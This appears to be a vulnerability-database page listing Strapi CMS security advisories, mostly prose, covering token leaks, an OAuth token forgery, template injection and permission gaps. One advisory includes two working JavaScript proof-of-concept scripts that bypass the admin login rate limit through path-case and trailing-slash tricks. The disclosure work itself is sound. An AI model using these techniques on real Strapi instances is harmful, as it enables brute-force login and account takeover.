Package Instance

Improper Removal of Sensitive Information Before Storage or Transfer in Strapi
An authenticated user with access to the Strapi admin panel can view private and sensitive data, such as email and password reset tokens, for other admin panel users that have a relationship (e.g., created by, updated by) with content accessible to the authenticated user. For example, a low-privileged “author” role account can view these details in the JSON response for an “editor” or “super admin” that has updated one of the author’s blog posts. There are also many other scenarios where such details from other users can leak in the JSON response, either through a direct or indirect relationship. Access to this information enables a user to compromise other users’ accounts by successfully invoking the password reset workflow. In a worst-case scenario, a low-privileged user could get access to a “super admin” account with full control over the Strapi instance, and could read and modify any data as well as block access to both the admin panel and API by revoking privileges for all other users.

Improper Removal of Sensitive Information Before Storage or Transfer in Strapi
An authenticated user with access to the Strapi admin panel can view private and sensitive data, such as email and password reset tokens, for API users if content types accessible to the authenticated user contain relationships to API users (from:users-permissions). There are many scenarios in which such details from API users can leak in the JSON response within the admin panel, either through a direct or indirect relationship. Access to this information enables a user to compromise these users’ accounts if the password reset API endpoints have been enabled. In a worst-case scenario, a low-privileged user could get access to a high-privileged API account, and could read and modify any data as well as block access to both the admin panel and API by revoking privileges for all other users.

Improper Authentication
Strapi through 4.5.5 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the 'None' type algorithm to bypass authentication and impersonate any user that use AWS Cognito for authentication.

Exposure of Sensitive Information to an Unauthorized Actor
Strapi is an open-source headless content management system. Prior to version 4.10.8, anyone (Strapi developers, users, plugins) can make every attribute of a Content-Type public without knowing it. The vulnerability only affects the handling of content types by Strapi, not the actual content types themselves. Users can use plugins or modify their own content types without realizing that the `privateAttributes` getter is being removed, which can result in any attribute becoming public. This can lead to sensitive information being exposed or the entire system being taken control of by an attacker(having access to password hashes). Anyone can be impacted, depending on how people are using/extending content-types. If the users are mutating the content-type, they will not be affected. Version 4.10.8 contains a patch for this issue.

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution.

Strapi may leak sensitive user information, user reset password, tokens via content-manager views
Attackers can get access to user reset password tokens if they have the configure view permissions.

Weak Password Recovery Mechanism for Forgotten Password
In Strapi, the admin panel allows the changing of one's own password without entering the current password. An attacker who gains access to a valid session can use this to take over an account by changing the password.

Strapi Improper Rate Limiting vulnerability
### 1. Summary
There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.

### 2. Details
It is possible to avoid this by modifying the rate-limited request path as follows.
1. Manipulating request paths to upper or lower case. (Pattern 1)
  - In this case, avoidance is possible with various patterns.
2. Add path slashes to the end of the request path. (Pattern 2)

### 3. PoC
Access the administrator's login screen (`/admin/auth/login`) and execute the following PoC on the browser's console screen.

#### Pattern 1 (uppercase and lowercase)
```js
// poc.js
(async () => {
 const data1 = {
  email: "admin@strapi.com",  // registered e-mail address
  password: "invalid_password",
 };
 const data2 = {
  email: "admin@strapi.com",
  password: "RyG5z-CE2-]*4e4",  // correct password
 };

 for (let i = 0; i < 30; i++) {
 await fetch("http://localhost:1337/admin/login", {
   method: "POST",
   body: JSON.stringify(data1),
   headers: {
    "Content-Type": "application/json",
   },
  });
 }

 const res1 = await fetch("http://localhost:1337/admin/login", {
  method: "POST",
  body: JSON.stringify(data2),
  headers: {
   "Content-Type": "application/json",
  },
 });
 console.log(res1.status + " " + res1.statusText);

 const res2 = await fetch("http://localhost:1337/admin/Login", { // capitalize part of path
  method: "POST",
  body: JSON.stringify(data2),
  headers: {
   "Content-Type": "application/json",
  },
 });
 console.log(res2.status + " " + res2.statusText);
})();
```

##### This PoC does the following:
1. Request 30 incorrect logins.
4. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`)
5. Next, falsify the pathname of the request (**`/admin/Login`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`)

#### Pattern 2 (trailing slash)
```js
// poc.js
(async () => {
 const data1 = {
  email: "admin@strapi.com",  // registered e-mail address
  password: "invalid_password",
 };
 const data2 = {
  email: "admin@strapi.com",
  password: "RyG5z-CE2-]*4e4",  // correct password
 };

 for (let i = 0; i < 30; i++) {
  await fetch("http://localhost:1337/admin/login", {
   method: "POST",
   body: JSON.stringify(data1),
   headers: {
    "Content-Type": "application/json",
   },
  });
 }

 const res1 = await fetch("http://localhost:1337/admin/login", {
  method: "POST",
  body: JSON.stringify(data2),
  headers: {
   "Content-Type": "application/json",
  },
 });
 console.log(res1.status + " " + res1.statusText);

 const res2 = await fetch("http://localhost:1337/admin/login/", { // trailing slash
  method: "POST",
  body: JSON.stringify(data2),
  headers: {
   "Content-Type": "application/json",
  },
 });
 console.log(res2.status + " " + res2.statusText);
})();
```

##### This PoC does the following:
1. Request 30 incorrect logins.
2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`)
3. Next, falsify the pathname of the request (**`/admin/login/`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`)



### 4. Impact
 It is possible to bypass the rate limit of the login function of the admin screen. 
Therefore, the possibility of unauthorized login by login brute force attack increases.

### 5. Measures
Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (`ctx.request.path`)  
Also, remove any extra slashes in the request path.

Strapi mishandles hidden attributes within admin API responses
Strapi before 3.6.10 and 4.x before 4.1.10 mishandles hidden attributes within admin API responses.

Command injection in strapi
Arbitrary Command Injection in GitHub repository strapi/strapi prior to 4.1.0.

Improper Input Validation
Strapi could allow a remote authenticated attacker to bypass security restrictions because templates are stored in a global variable without any sanitation. By sending a specially crafted request, an attacker could exploit this vulnerability to update the email template for both password reset and account confirmation emails.

Incorrect Default Permissions
In Strapi, there is no `admin::hasPermissions` restriction for CTB (aka content-type-builder) routes.

Exposure of Sensitive Information to an Unauthorized Actor
Strapi is an open-source headless content management system. Prior to version 4.10.8, it is possible to leak private fields if one is using the `t(number)` prefix. Knex query allows users to change the default prefix. For example, if someone changes the prefix to be the same as it was before or to another table they want to query, the query changes from `password` to `t1.password`. `password` is protected by filtering protections but `t1.password` is not protected. This can lead to filtering attacks on everything related to the object again, including admin passwords and reset-tokens. Version 4.10.8 fixes this issue.

Strapi's field level permissions not being respected in relationship title
### Summary
Field level permissions not being respected in relationship title.
If I have a relationship title and the relationship shows a field I don't have permission to see I will still be visible.

### Details
No RBAC checks on on the relationship the relation endpoint returns

### PoC
#### Setup
Create a fresh strapi instance
Create a new content type
in the newly created content type add a relation to the users-permissions user.
Save.
Create a users-permissions user
Use your created content type and create an entry in it related to the users-permisisons user

Go to settings -> Admin panel -> Roles -> Author
Give the author role full permissions on the content type your created.
Make sure they don't have any permission to see User
Save

Create a new admin account with only the author role
#### CVE
login on the newly created author acount.
go to the content manager to the colection type you created with the relationship to users_permissions_user
You now see a field you don't have permissions to view.

### Impact
RBAC field level checks leaks data selected by the admin user as relationship title
What could be sensitive fields that they should not be allowed to see. by the person having this specific role.

Insecure Storage of Sensitive Information
Storing passwords in a recoverable format in the DOCUMENTATION plugin component of Strapi allows an attacker to access a victim's HTTP request, get the victim's cookie, perform a base64 decode on the victim's cookie, and obtain a cleartext password, leading to getting API documentation for further API attacks.

Improper Input Validation
`admin/src/containers/InputModalStepperProvider/index.js` in Strapi has unwanted `/proxy?url=` functionality.